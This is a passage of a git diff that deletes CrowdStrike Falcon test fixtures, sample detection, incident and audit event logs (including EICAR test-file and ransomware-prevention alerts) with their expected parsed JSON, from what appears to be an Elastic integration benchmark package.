process.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"explorer.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"FilesAccessed\":[{\"FileName\":\"eicarcom2.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\",\"Timestamp\":1751371830},{\"FileName\":\"thumbcache_16.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371830},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371830},{\"FileName\":\"thumbcache_idx.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371830},{\"FileName\":\"GLEAM-LIGHT.svg\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Packages\\\\Microsoft.Windows.Search_cw5n1h2txyewy\\\\LocalState\\\\ShellFeeds\",\"Timestamp\":1751371835},{\"FileName\":\"GLEAM-DARK.svg\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Packages\\\\Microsoft.Windows.Search_cw5n1h2txyewy\\\\LocalState\\\\ShellFeeds\",\"Timestamp\":1751371835},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371841},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371842},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371843},{\"FileName\":\"iconcache_16.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371843}],\"FilesWritten\":[{\"FileName\":\"eicar.com\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\\\\eicar_com\",\"Timestamp\":1751371843},{\"FileName\":\"The Internet.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371658},{\"FileName\":\"windowsdefender--threat-.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371658},{\"FileName\":\"The Internet.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371744},{\"FileName\":\"windowsdefender--threat-.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371744},{\"FileName\":\"https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371761}],\"GrandParentCommandLine\":\"winlogon.exe\",\"GrandParentImageFileName\":\"winlogon.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\winlogon.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"23ba370fc8357f6f827812da142b5fcb\",\"Name\":\"Known Malware\",\"NetworkAccesses\":[{\"AccessTimestamp\":1751371565,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49729,\"Protocol\":\"TCP\",\"RemoteAddress\":\"150.171.27.12\",\"RemotePort\":443},{\"AccessTimestamp\":1751371565,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49730,\"Protocol\":\"TCP\",\"RemoteAddress\":\"2.22.144.74\",\"RemotePort\":443},{\"AccessTimestamp\":1751371787,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49948,\"Protocol\":\"TCP\",\"RemoteAddress\":\"2.18.27.89\",\"RemotePort\":443}],\"Objective\":\"Follow Through\",\"ParentCommandLine\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"ParentImageFileName\":\"userinit.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\userinit.exe\",\"ParentProcessId\":38850737845,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10418,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":38850874557,\"ProcessStartTime\":1751371562,\"ReferrerUrl\":\"C:\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\\\\eicar_com.zip\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7\",\"Severity\":10,\"SeverityName\":\"Informational\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Execution\",\"Technique\":\"User Execution\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\",\"MitreAttack\":[{\"Tactic\":\"Execution\",\"Technique\":\"User Execution\",\"PatternID\":10418}]},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1751371899000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":1956190,\"version\":\"1.0\"}}",
-                "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
-                "severity": 21,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "hash": {
-                    "md5": "23ba370fc8357f6f827812da142b5fcb",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7"
-                },
-                "name": "explorer.exe",
-                "path": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe"
-            },
-            "host": {
-                "domain": "dave-win10-3",
-                "name": "dave-win10-3"
-            },
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "process": {
-                "args": [
-                    "C:\\Windows\\Explorer.EXE"
-                ],
-                "command_line": "C:\\Windows\\Explorer.EXE",
-                "entity_id": "38850874557",
-                "executable": "C:\\Windows\\Explorer.EXE",
-                "name": "explorer.exe",
-                "parent": {
-                    "args": [
-                        "C:\\Windows\\system32\\userinit.exe"
-                    ],
-                    "command_line": "C:\\Windows\\system32\\userinit.exe",
-                    "entity_id": "38850737845",
-                    "executable": "C:\\Windows\\system32\\userinit.exe",
-                    "pid": 38850737845
-                },
-                "pid": 38850874557,
-                "start": "2025-07-01T12:06:02.000Z"
-            },
-            "related": {
-                "hash": [
-                    "0000000000000000000000000000000000000000",
-                    "a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7",
-                    "23ba370fc8357f6f827812da142b5fcb"
-                ],
-                "hosts": [
-                    "dave-win10-3"
-                ],
-                "ip": [
-                    "10.0.0.13"
-                ],
-                "user": [
-                    "win10_user3"
-                ]
-            },
-            "rule": {
-                "name": "Known Malware"
-            },
-            "source": {
-                "ip": "10.0.0.13"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "tactic": {
-                    "name": [
-                        "Execution"
-                    ]
-                },
-                "technique": {
-                    "name": [
-                        "User Execution"
-                    ]
-                }
-            },
-            "user": {
-                "name": "win10_user3"
-            }
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-events.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-events.log
deleted file mode 100644
index a922143c4b..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-events.log
+++ /dev/null
@@ -1,160 +0,0 @@
-{
-    "metadata": {
-        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-        "offset": 294564,
-        "eventType": "DetectionSummaryEvent",
-        "eventCreationTime": 1582101000000,
-        "version": "1.0"
-    },
-    "event": {
-        "ProcessStartTime": 1536846339,
-        "ProcessEndTime": 0,
-        "ProcessId": 38684386611,
-        "ParentProcessId": 38682494050,
-        "ComputerName": "alice-laptop",
-        "UserName": "alice",
-        "DetectName": "Process Terminated",
-        "DetectDescription": "Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.",
-        "Severity": 4,
-        "SeverityName": "High",
-        "FileName": "explorer.exe",
-        "FilePath": "\\Device\\HarddiskVolume1\\Windows",
-        "CommandLine": "C:\\Windows\\Explorer.EXE",
-        "SHA256String": "6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a",
-        "MD5String": "ac4c51eb24aa95b77f705ab159189e24",
-        "MachineDomain": "CORP-DOMAIN",
-        "FalconHostLink": "https://falcon.crowdstrike.com/ec86abd353824e96765ecbe18eb4f0b4",
-        "SensorId": "7c808b4c8878433287eea53d4a8c3268",
-        "DetectId": "ldt:ec86abd353824e96765ecbe18eb4f0b4:38655257584",
-        "LocalIP": "192.168.12.51",
-        "MACAddress": "00-00-00-11-22-33",
-        "Tactic": "Malware",
-        "Technique": "Ransomware",
-        "Objective": "Falcon Detection Method",
-        "PatternDispositionDescription": "Prevention, process killed.",
-        "PatternDispositionValue": 16,
-        "PatternDispositionFlags": {
-            "Indicator": false,
-            "Detect": false,
-            "InddetMask": false,
-            "SensorOnly": false,
-            "Rooting": false,
-            "KillProcess": true,
-            "KillSubProcess": false,
-            "QuarantineMachine": false,
-            "QuarantineFile": false,
-            "PolicyDisabled": false,
-            "KillParent": false,
-            "OperationBlocked": false,
-            "ProcessBlocked": false
-        }
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-        "offset": 1824,
-        "eventType": "IncidentSummaryEvent",
-        "eventCreationTime": 1583295476766,
-        "version": "1.0"
-    },
-    "event": {
-        "IncidentStartTime": 1583295228,
-        "IncidentEndTime": 1583295470,
-        "FalconHostLink": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-        "State": "open",
-        "FineScore": 1.2
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-        "offset": 22865,
-        "eventType": "UserActivityAuditEvent",
-        "eventCreationTime": 1593186952000,
-        "version": "1.0"
-    },
-    "event": {
-        "UserId": "Crowdstrike",
-        "UserIp": "",
-        "OperationName": "quarantined_file_update",
-        "ServiceName": "quarantined_files",
-        "AuditKeyValues": [
-            {
-                "Key": "quarantined_file_id",
-                "ValueString": "35b35a53da374816a6b471cf09e12019_a076d3121743755f2d4f8d4d5807f0bc013177f7847d09b48e76de88ace08c78"
-            },
-            {
-                "Key": "action_taken",
-                "ValueString": "quarantined"
-            }
-        ],
-        "UTCTimestamp": 1593186952
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-        "offset": 294564,
-        "eventType": "DetectionSummaryEvent",
-        "eventCreationTime": 1582101000000,
-        "version": "1.0"
-    },
-    "event": {
-        "ProcessStartTime": 1536846339,
-        "ProcessEndTime": 0,
-        "ProcessId": 38684386611,
-        "ParentProcessId": 38682494050,
-        "ComputerName": "alice-laptop",
-        "UserName": "alice",
-        "DetectName": "Process Terminated",
-        "DetectDescription": "Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.",
-        "Severity": 4,
-        "SeverityName": "High",
-        "FileName": "explorer.exe",
-        "FilePath": "\\Device\\HarddiskVolume1\\Windows",
-        "CommandLine": "C:\\Windows\\Explorer.EXE",
-        "SHA256String": "6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a",
-        "MD5String": "ac4c51eb24aa95b77f705ab159189e24",
-        "MachineDomain": "CORP-DOMAIN",
-        "FalconHostLink": "https://falcon.crowdstrike.com/ec86abd353824e96765ecbe18eb4f0b4",
-        "SensorId": "7c808b4c8878433287eea53d4a8c3268",
-        "DetectId": "ldt:ec86abd353824e96765ecbe18eb4f0b4:38655257584",
-        "LocalIP": "192.168.12.51",
-        "MACAddress": "00-00-00-11-22-33",
-        "Tactic": "Malware",
-        "Technique": "Ransomware",
-        "Objective": "Falcon Detection Method",
-        "PatternDispositionDescription": "Prevention, process killed.",
-        "PatternDispositionValue": 16,
-        "PatternDispositionFlags": {
-            "Indicator": false,
-            "Detect": false,
-            "InddetMask": false,
-            "SensorOnly": false,
-            "Rooting": false,
-            "KillProcess": true,
-            "KillSubProcess": false,
-            "QuarantineMachine": false,
-            "QuarantineFile": false,
-            "PolicyDisabled": false,
-            "KillParent": false,
-            "OperationBlocked": false,
-            "ProcessBlocked": false
-        },
-        "MitreAttack": [
-            {
-				"Tactic": "Insecure security posture",
-				"TacticID": "CSTA0009",
-				"Technique": "Bad device settings",
-				"TechniqueID": "CST0024"
-			},
-            {
-                "Tactic": "Exfiltration",
-                "TacticID": "TA0010",
-                "Technique": "Exfiltration Over Web Service",
-                "TechniqueID": "T1567"
-            }
-        ]
-    }
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-events.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-events.log-expected.json
deleted file mode 100644
index c8dda7f0e9..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-events.log-expected.json
+++ /dev/null
@@ -1,378 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2020-02-19T08:30:00.000Z",
-            "crowdstrike": {
-                "event": {
-                    "MACAddress": "00-00-00-11-22-33",
-                    "Objective": "Falcon Detection Method",
-                    "PatternDispositionFlags": {
-                        "Detect": false,
-                        "InddetMask": false,
-                        "Indicator": false,
-                        "KillParent": false,
-                        "KillProcess": true,
-                        "KillSubProcess": false,
-                        "OperationBlocked": false,
-                        "PolicyDisabled": false,
-                        "ProcessBlocked": false,
-                        "QuarantineFile": false,
-                        "QuarantineMachine": false,
-                        "Rooting": false,
-                        "SensorOnly": false
-                    },
-                    "PatternDispositionValue": 16,
-                    "SensorId": "7c808b4c8878433287eea53d4a8c3268",
-                    "Severity": 4,
-                    "SeverityName": "High"
-                },
-                "metadata": {
-                    "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-                    "eventType": "DetectionSummaryEvent",
-                    "offset": 294564,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "Prevention, process killed.",
-                "category": [
-                    "malware"
-                ],
-                "created": "2020-02-19T08:30:00.000Z",
-                "kind": "alert",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"offset\": 294564,\n        \"eventType\": \"DetectionSummaryEvent\",\n        \"eventCreationTime\": 1582101000000,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"ProcessStartTime\": 1536846339,\n        \"ProcessEndTime\": 0,\n        \"ProcessId\": 38684386611,\n        \"ParentProcessId\": 38682494050,\n        \"ComputerName\": \"alice-laptop\",\n        \"UserName\": \"alice\",\n        \"DetectName\": \"Process Terminated\",\n        \"DetectDescription\": \"Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.\",\n        \"Severity\": 4,\n        \"SeverityName\": \"High\",\n        \"FileName\": \"explorer.exe\",\n        \"FilePath\": \"\\\\Device\\\\HarddiskVolume1\\\\Windows\",\n        \"CommandLine\": \"C:\\\\Windows\\\\Explorer.EXE\",\n        \"SHA256String\": \"6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a\",\n        \"MD5String\": \"ac4c51eb24aa95b77f705ab159189e24\",\n        \"MachineDomain\": \"CORP-DOMAIN\",\n        \"FalconHostLink\": \"https://falcon.crowdstrike.com/ec86abd353824e96765ecbe18eb4f0b4\",\n        \"SensorId\": \"7c808b4c8878433287eea53d4a8c3268\",\n        \"DetectId\": \"ldt:ec86abd353824e96765ecbe18eb4f0b4:38655257584\",\n        \"LocalIP\": \"192.168.12.51\",\n        \"MACAddress\": \"00-00-00-11-22-33\",\n        \"Tactic\": \"Malware\",\n        \"Technique\": \"Ransomware\",\n        \"Objective\": \"Falcon Detection Method\",\n        \"PatternDispositionDescription\": \"Prevention, process killed.\",\n        \"PatternDispositionValue\": 16,\n        \"PatternDispositionFlags\": {\n            \"Indicator\": false,\n            \"Detect\": false,\n            \"InddetMask\": false,\n            \"SensorOnly\": false,\n            \"Rooting\": false,\n            \"KillProcess\": true,\n            \"KillSubProcess\": false,\n            \"QuarantineMachine\": false,\n            \"QuarantineFile\": false,\n            \"PolicyDisabled\": false,\n            \"KillParent\": false,\n            \"OperationBlocked\": false,\n            \"ProcessBlocked\": false\n        }\n    }\n}",
-                "reference": "https://falcon.crowdstrike.com/ec86abd353824e96765ecbe18eb4f0b4",
-                "severity": 73,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "hash": {
-                    "md5": "ac4c51eb24aa95b77f705ab159189e24",
-                    "sha256": "6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a"
-                },
-                "name": "explorer.exe",
-                "path": "\\Device\\HarddiskVolume1\\Windows"
-            },
-            "host": {
-                "domain": "CORP-DOMAIN",
-                "name": "alice-laptop"
-            },
-            "message": "Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "process": {
-                "args": [
-                    "C:\\Windows\\Explorer.EXE"
-                ],
-                "command_line": "C:\\Windows\\Explorer.EXE",
-                "entity_id": "38684386611",
-                "executable": "C:\\Windows\\Explorer.EXE",
-                "name": "explorer.exe",
-                "parent": {
-                    "entity_id": "38682494050",
-                    "pid": 38682494050
-                },
-                "pid": 38684386611,
-                "start": "2018-09-13T13:45:39.000Z"
-            },
-            "related": {
-                "hash": [
-                    "6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a",
-                    "ac4c51eb24aa95b77f705ab159189e24"
-                ],
-                "hosts": [
-                    "alice-laptop"
-                ],
-                "ip": [
-                    "192.168.12.51"
-                ],
-                "user": [
-                    "alice"
-                ]
-            },
-            "rule": {
-                "description": "Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.",
-                "id": "ldt:ec86abd353824e96765ecbe18eb4f0b4:38655257584",
-                "name": "Process Terminated"
-            },
-            "source": {
-                "ip": "192.168.12.51"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "framework": "CrowdStrike Falcon Detections Framework",
-                "tactic": {
-                    "name": [
-                        "Malware"
-                    ]
-                },
-                "technique": {
-                    "name": [
-                        "Ransomware"
-                    ]
-                }
-            },
-            "user": {
-                "name": "alice"
-            }
-        },
-        {
-            "@timestamp": "2020-03-04T04:17:56.766Z",
-            "crowdstrike": {
-                "event": {
-                    "FineScore": 1.2,
-                    "State": "open"
-                },
-                "metadata": {
-                    "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-                    "eventType": "IncidentSummaryEvent",
-                    "offset": 1824,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": [
-                    "incident"
-                ],
-                "category": [
-                    "malware"
-                ],
-                "created": "2020-03-04T04:17:56.766Z",
-                "end": "2020-03-04T04:17:50.000Z",
-                "kind": "alert",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"offset\": 1824,\n        \"eventType\": \"IncidentSummaryEvent\",\n        \"eventCreationTime\": 1583295476766,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"IncidentStartTime\": 1583295228,\n        \"IncidentEndTime\": 1583295470,\n        \"FalconHostLink\": \"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"State\": \"open\",\n        \"FineScore\": 1.2\n    }\n}",
-                "reference": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-                "start": "2020-03-04T04:13:48.000Z",
-                "type": [
-                    "info"
-                ]
-            },
-            "message": "Incident score 1.2",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-06-26T15:55:52.000Z",
-            "crowdstrike": {
-                "event": {
-                    "AuditKeyValues": [
-                        {
-                            "Key": "quarantined_file_id",
-                            "ValueString": "35b35a53da374816a6b471cf09e12019_a076d3121743755f2d4f8d4d5807f0bc013177f7847d09b48e76de88ace08c78"
-                        },
-                        {
-                            "Key": "action_taken",
-                            "ValueString": "quarantined"
-                        }
-                    ],
-                    "ServiceName": "quarantined_files"
-                },
-                "metadata": {
-                    "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-                    "eventType": "UserActivityAuditEvent",
-                    "offset": 22865,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "user_activity_audit_event",
-                "category": [
-                    "iam"
-                ],
-                "created": "2020-06-26T15:55:52.000Z",
-                "kind": "event",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"offset\": 22865,\n        \"eventType\": \"UserActivityAuditEvent\",\n        \"eventCreationTime\": 1593186952000,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"UserId\": \"Crowdstrike\",\n        \"UserIp\": \"\",\n        \"OperationName\": \"quarantined_file_update\",\n        \"ServiceName\": \"quarantined_files\",\n        \"AuditKeyValues\": [\n            {\n                \"Key\": \"quarantined_file_id\",\n                \"ValueString\": \"35b35a53da374816a6b471cf09e12019_a076d3121743755f2d4f8d4d5807f0bc013177f7847d09b48e76de88ace08c78\"\n            },\n            {\n                \"Key\": \"action_taken\",\n                \"ValueString\": \"quarantined\"\n            }\n        ],\n        \"UTCTimestamp\": 1593186952\n    }\n}",
-                "type": [
-                    "change"
-                ]
-            },
-            "message": "quarantined_file_update",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "user": [
-                    "Crowdstrike"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "Crowdstrike"
-            }
-        },
-        {
-            "@timestamp": "2020-02-19T08:30:00.000Z",
-            "crowdstrike": {
-                "event": {
-                    "MACAddress": "00-00-00-11-22-33",
-                    "MitreAttack": [
-                        {
-                            "Tactic": "Insecure security posture",
-                            "TacticID": "CSTA0009",
-                            "Technique": "Bad device settings",
-                            "TechniqueID": "CST0024"
-                        },
-                        {
-                            "Tactic": "Exfiltration",
-                            "TacticID": "TA0010",
-                            "Technique": "Exfiltration Over Web Service",
-                            "TechniqueID": "T1567"
-                        }
-                    ],
-                    "Objective": "Falcon Detection Method",
-                    "PatternDispositionFlags": {
-                        "Detect": false,
-                        "InddetMask": false,
-                        "Indicator": false,
-                        "KillParent": false,
-                        "KillProcess": true,
-                        "KillSubProcess": false,
-                        "OperationBlocked": false,
-                        "PolicyDisabled": false,
-                        "ProcessBlocked": false,
-                        "QuarantineFile": false,
-                        "QuarantineMachine": false,
-                        "Rooting": false,
-                        "SensorOnly": false
-                    },
-                    "PatternDispositionValue": 16,
-                    "SensorId": "7c808b4c8878433287eea53d4a8c3268",
-                    "Severity": 4,
-                    "SeverityName": "High"
-                },
-                "metadata": {
-                    "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-                    "eventType": "DetectionSummaryEvent",
-                    "offset": 294564,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "Prevention, process killed.",
-                "category": [
-                    "malware"
-                ],
-                "created": "2020-02-19T08:30:00.000Z",
-                "kind": "alert",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"offset\": 294564,\n        \"eventType\": \"DetectionSummaryEvent\",\n        \"eventCreationTime\": 1582101000000,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"ProcessStartTime\": 1536846339,\n        \"ProcessEndTime\": 0,\n        \"ProcessId\": 38684386611,\n        \"ParentProcessId\": 38682494050,\n        \"ComputerName\": \"alice-laptop\",\n        \"UserName\": \"alice\",\n        \"DetectName\": \"Process Terminated\",\n        \"DetectDescription\": \"Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.\",\n        \"Severity\": 4,\n        \"SeverityName\": \"High\",\n        \"FileName\": \"explorer.exe\",\n        \"FilePath\": \"\\\\Device\\\\HarddiskVolume1\\\\Windows\",\n        \"CommandLine\": \"C:\\\\Windows\\\\Explorer.EXE\",\n        \"SHA256String\": \"6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a\",\n        \"MD5String\": \"ac4c51eb24aa95b77f705ab159189e24\",\n        \"MachineDomain\": \"CORP-DOMAIN\",\n        \"FalconHostLink\": \"https://falcon.crowdstrike.com/ec86abd353824e96765ecbe18eb4f0b4\",\n        \"SensorId\": \"7c808b4c8878433287eea53d4a8c3268\",\n        \"DetectId\": \"ldt:ec86abd353824e96765ecbe18eb4f0b4:38655257584\",\n        \"LocalIP\": \"192.168.12.51\",\n        \"MACAddress\": \"00-00-00-11-22-33\",\n        \"Tactic\": \"Malware\",\n        \"Technique\": \"Ransomware\",\n        \"Objective\": \"Falcon Detection Method\",\n        \"PatternDispositionDescription\": \"Prevention, process killed.\",\n        \"PatternDispositionValue\": 16,\n        \"PatternDispositionFlags\": {\n            \"Indicator\": false,\n            \"Detect\": false,\n            \"InddetMask\": false,\n            \"SensorOnly\": false,\n            \"Rooting\": false,\n            \"KillProcess\": true,\n            \"KillSubProcess\": false,\n            \"QuarantineMachine\": false,\n            \"QuarantineFile\": false,\n            \"PolicyDisabled\": false,\n            \"KillParent\": false,\n            \"OperationBlocked\": false,\n            \"ProcessBlocked\": false\n        },\n        \"MitreAttack\": [\n            {\n\t\t\t\t\"Tactic\": \"Insecure security posture\",\n\t\t\t\t\"TacticID\": \"CSTA0009\",\n\t\t\t\t\"Technique\": \"Bad device settings\",\n\t\t\t\t\"TechniqueID\": \"CST0024\"\n\t\t\t},\n            {\n                \"Tactic\": \"Exfiltration\",\n                \"TacticID\": \"TA0010\",\n                \"Technique\": \"Exfiltration Over Web Service\",\n                \"TechniqueID\": \"T1567\"\n            }\n        ]\n    }\n}",
-                "reference": "https://falcon.crowdstrike.com/ec86abd353824e96765ecbe18eb4f0b4",
-                "severity": 73,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "hash": {
